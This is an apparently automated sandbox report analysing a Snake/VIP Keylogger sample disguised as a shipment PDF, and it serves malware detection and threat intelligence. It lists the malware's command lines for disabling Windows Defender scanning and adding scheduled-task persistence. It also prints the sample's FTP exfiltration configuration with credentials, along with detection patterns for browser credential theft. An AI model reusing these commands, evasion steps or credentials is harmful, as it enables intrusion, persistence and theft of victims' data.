Edit tour

Windows Analysis Report
Shipment 990847575203.pdf.exe

Overview

General Information

Sample name:	Shipment 990847575203.pdf.exe
Analysis ID:	1575105
MD5:	8626a0c350243b5390abf5dee2a40641
SHA1:	8337486fbbece35e03456500b23c5044466419c7
SHA256:	d16a272916c70064157e0cef6770ff47ed874369e4db36ae0a569dd85357efca
Tags:	exeuser-abuse_ch
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Sigma detected: Suspicious Double Extension File Execution

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses an obfuscated file name to hide its real file extension (double extension)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Shipment 990847575203.pdf.exe (PID: 5192 cmdline: "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe" MD5: 8626A0C350243B5390ABF5DEE2A40641)

powershell.exe (PID: 2656 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5076 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FZcXKpA.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7384 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 5692 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp56D.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 7252 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

FZcXKpA.exe (PID: 7360 cmdline: C:\Users\user\AppData\Roaming\FZcXKpA.exe MD5: 8626A0C350243B5390ABF5DEE2A40641)

schtasks.exe (PID: 7644 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp3382.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 7696 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 7704 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "FTP", "Username": "anonymous_log@kashmirestore.com", "Password": "c%P+6,(]YFvP", "FTP Server": "ftp://kashmirestore.com/", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000011.00000002.3578489712.0000000003274000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000009.00000002.3578857774.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e94f:$a1: get_encryptedPassword 0x7256f:$a1: get_encryptedPassword 0xb5f8f:$a1: get_encryptedPassword 0x2ec6c:$a2: get_encryptedUsername 0x7288c:$a2: get_encryptedUsername 0xb62ac:$a2: get_encryptedUsername 0x2e75f:$a3: get_timePasswordChanged 0x7237f:$a3: get_timePasswordChanged 0xb5d9f:$a3: get_timePasswordChanged 0x2e868:$a4: get_passwordField 0x72488:$a4: get_passwordField 0xb5ea8:$a4: get_passwordField 0x2e965:$a5: set_encryptedPassword 0x72585:$a5: set_encryptedPassword 0xb5fa5:$a5: set_encryptedPassword 0x3003e:$a7: get_logins 0x73c5e:$a7: get_logins 0xb767e:$a7: get_logins 0x2ffa1:$a10: KeyLoggerEventArgs 0x73bc1:$a10: KeyLoggerEventArgs 0xb75e1:$a10: KeyLoggerEventArgs
Process Memory Space: Shipment 990847575203.pdf.exe PID: 5192	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Shipment 990847575203.pdf.exe PID: 5192	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Shipment 990847575203.pdf.exe PID: 5192	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: Shipment 990847575203.pdf.exe PID: 5192	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Shipment 990847575203.pdf.exe PID: 5192	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e12c:$a1: get_encryptedPassword 0x2e43f:$a2: get_encryptedUsername 0x2df46:$a3: get_timePasswordChanged 0x2e04f:$a4: get_passwordField 0x2e142:$a5: set_encryptedPassword 0x305ee:$a7: get_logins 0x30551:$a10: KeyLoggerEventArgs 0x301ba:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: MSBuild.exe PID: 7252	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 7252	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: MSBuild.exe PID: 7704	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 7704	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: MSBuild.exe PID: 7704	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2c1df:$a1: get_encryptedPassword 0x2c4fc:$a2: get_encryptedUsername 0x2bfef:$a3: get_timePasswordChanged 0x2c0f8:$a4: get_passwordField 0x2c1f5:$a5: set_encryptedPassword 0x2d8ce:$a7: get_logins 0x2d831:$a10: KeyLoggerEventArgs 0x2d496:$a11: KeyLoggerEventArgsEventHandler
0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39fe6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39689:$a3: \Google\Chrome\User Data\Default\Login Data 0x398e6:$a4: \Orbitum\User Data\Default\Login Data 0x3a2c5:$a5: \Kometa\User Data\Default\Login Data
0.2.Shipment 990847575203.pdf.exe.430d590.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ce00:$s1: UnHook 0x2ce07:$s2: SetHook 0x2ce0f:$s3: CallNextHook 0x2ce1c:$s4: _hook
0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2c1df:$a1: get_encryptedPassword 0x2c4fc:$a2: get_encryptedUsername 0x2bfef:$a3: get_timePasswordChanged 0x2c0f8:$a4: get_passwordField 0x2c1f5:$a5: set_encryptedPassword 0x2d8ce:$a7: get_logins 0x2d831:$a10: KeyLoggerEventArgs 0x2d496:$a11: KeyLoggerEventArgsEventHandler
17.2.MSBuild.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.MSBuild.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
17.2.MSBuild.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39fe6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39689:$a3: \Google\Chrome\User Data\Default\Login Data 0x398e6:$a4: \Orbitum\User Data\Default\Login Data 0x3a2c5:$a5: \Kometa\User Data\Default\Login Data
0.2.Shipment 990847575203.pdf.exe.42c9970.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ce00:$s1: UnHook 0x2ce07:$s2: SetHook 0x2ce0f:$s3: CallNextHook 0x2ce1c:$s4: _hook
17.2.MSBuild.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3bde6:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3b489:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b6e6:$a4: \Orbitum\User Data\Default\Login Data 0x3c0c5:$a5: \Kometa\User Data\Default\Login Data
17.2.MSBuild.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ec00:$s1: UnHook 0x2ec07:$s2: SetHook 0x2ec0f:$s3: CallNextHook 0x2ec1c:$s4: _hook
0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dfdf:$a1: get_encryptedPassword 0x719ff:$a1: get_encryptedPassword 0x2e2fc:$a2: get_encryptedUsername 0x71d1c:$a2: get_encryptedUsername 0x2ddef:$a3: get_timePasswordChanged 0x7180f:$a3: get_timePasswordChanged 0x2def8:$a4: get_passwordField 0x71918:$a4: get_passwordField 0x2dff5:$a5: set_encryptedPassword 0x71a15:$a5: set_encryptedPassword 0x2f6ce:$a7: get_logins 0x730ee:$a7: get_logins 0x2f631:$a10: KeyLoggerEventArgs 0x73051:$a10: KeyLoggerEventArgs 0x2f296:$a11: KeyLoggerEventArgsEventHandler 0x72cb6:$a11: KeyLoggerEventArgsEventHandler
0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ec00:$s1: UnHook 0x72620:$s1: UnHook 0x2ec07:$s2: SetHook 0x72627:$s2: SetHook 0x2ec0f:$s3: CallNextHook 0x7262f:$s3: CallNextHook 0x2ec1c:$s4: _hook 0x7263c:$s4: _hook
0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2dfdf:$a1: get_encryptedPassword 0x71bff:$a1: get_encryptedPassword 0xb561f:$a1: get_encryptedPassword 0x2e2fc:$a2: get_encryptedUsername 0x71f1c:$a2: get_encryptedUsername 0xb593c:$a2: get_encryptedUsername 0x2ddef:$a3: get_timePasswordChanged 0x71a0f:$a3: get_timePasswordChanged 0xb542f:$a3: get_timePasswordChanged 0x2def8:$a4: get_passwordField 0x71b18:$a4: get_passwordField 0xb5538:$a4: get_passwordField 0x2dff5:$a5: set_encryptedPassword 0x71c15:$a5: set_encryptedPassword 0xb5635:$a5: set_encryptedPassword 0x2f6ce:$a7: get_logins 0x732ee:$a7: get_logins 0xb6d0e:$a7: get_logins 0x2f631:$a10: KeyLoggerEventArgs 0x73251:$a10: KeyLoggerEventArgs 0xb6c71:$a10: KeyLoggerEventArgs
0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ec00:$s1: UnHook 0x72820:$s1: UnHook 0xb6240:$s1: UnHook 0x2ec07:$s2: SetHook 0x72827:$s2: SetHook 0xb6247:$s2: SetHook 0x2ec0f:$s3: CallNextHook 0x7282f:$s3: CallNextHook 0xb624f:$s3: CallNextHook 0x2ec1c:$s4: _hook 0x7283c:$s4: _hook 0xb625c:$s4: _hook
Click to see the 24 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Double Extension File Execution

Source: Process started

Author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe", CommandLine: "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe, NewProcessName: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe, OriginalFileName: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe", ProcessId: 5192, ProcessName: Shipment 990847575203.pdf.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe", ParentImage: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe, ParentProcessId: 5192, ParentProcessName: Shipment 990847575203.pdf.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe", ProcessId: 2656, ProcessName: powershell.exe

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 158.101.44.242, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7252, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49719

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp3382.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp3382.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\FZcXKpA.exe, ParentImage: C:\Users\user\AppData\Roaming\FZcXKpA.exe, ParentProcessId: 7360, ParentProcessName: FZcXKpA.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp3382.tmp", ProcessId: 7644, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp56D.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp56D.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe", ParentImage: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe, ParentProcessId: 5192, ParentProcessName: Shipment 990847575203.pdf.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp56D.tmp", ProcessId: 5692, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe", ParentImage: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe, ParentProcessId: 5192, ParentProcessName: Shipment 990847575203.pdf.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe", ProcessId: 2656, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp56D.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp56D.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe", ParentImage: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe, ParentProcessId: 5192, ParentProcessName: Shipment 990847575203.pdf.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FZcXKpA" /XML "C:\Users\user\AppData\Local\Temp\tmp56D.tmp", ProcessId: 5692, ProcessName: schtasks.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T13:49:42.279808+0100	2803305	3	Unknown Traffic	192.168.2.6	49722	172.67.177.134	443	TCP
2024-12-14T13:49:45.721882+0100	2803305	3	Unknown Traffic	192.168.2.6	49726	172.67.177.134	443	TCP
2024-12-14T13:49:48.779919+0100	2803305	3	Unknown Traffic	192.168.2.6	49730	172.67.177.134	443	TCP
2024-12-14T13:49:53.407497+0100	2803305	3	Unknown Traffic	192.168.2.6	49736	172.67.177.134	443	TCP
2024-12-14T13:49:54.941404+0100	2803305	3	Unknown Traffic	192.168.2.6	49739	172.67.177.134	443	TCP
2024-12-14T13:49:56.684295+0100	2803305	3	Unknown Traffic	192.168.2.6	49742	172.67.177.134	443	TCP
2024-12-14T13:49:59.996584+0100	2803305	3	Unknown Traffic	192.168.2.6	49747	172.67.177.134	443	TCP
2024-12-14T13:50:10.797902+0100	2803305	3	Unknown Traffic	192.168.2.6	49754	172.67.177.134	443	TCP
2024-12-14T13:50:30.404732+0100	2803305	3	Unknown Traffic	192.168.2.6	49767	172.67.177.134	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T13:49:38.000947+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49719	158.101.44.242	80	TCP
2024-12-14T13:49:40.659005+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49719	158.101.44.242	80	TCP
2024-12-14T13:49:44.110337+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49724	193.122.6.168	80	TCP
2024-12-14T13:49:49.672852+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49731	193.122.6.168	80	TCP
2024-12-14T13:49:51.782215+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49731	193.122.6.168	80	TCP
2024-12-14T13:49:55.032239+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49740	193.122.6.168	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack

Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "FTP", "Username": "anonymous_log@kashmirestore.com", "Password": "c%P+6,(]YFvP", "FTP Server": "ftp://kashmirestore.com/", "Version": "4.4"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe

ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: Shipment 990847575203.pdf.exe

ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Shipment 990847575203.pdf.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: Shipment 990847575203.pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.6:49720 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.6:49734 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49768 version: TLS 1.2

Source: Shipment 990847575203.pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 00CBF45Dh	9_2_00CBF2CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 00CBF45Dh	9_2_00CBF4AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 00CBFC19h	9_2_00CBF974
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 02EBF45Dh	17_2_02EBF2C0
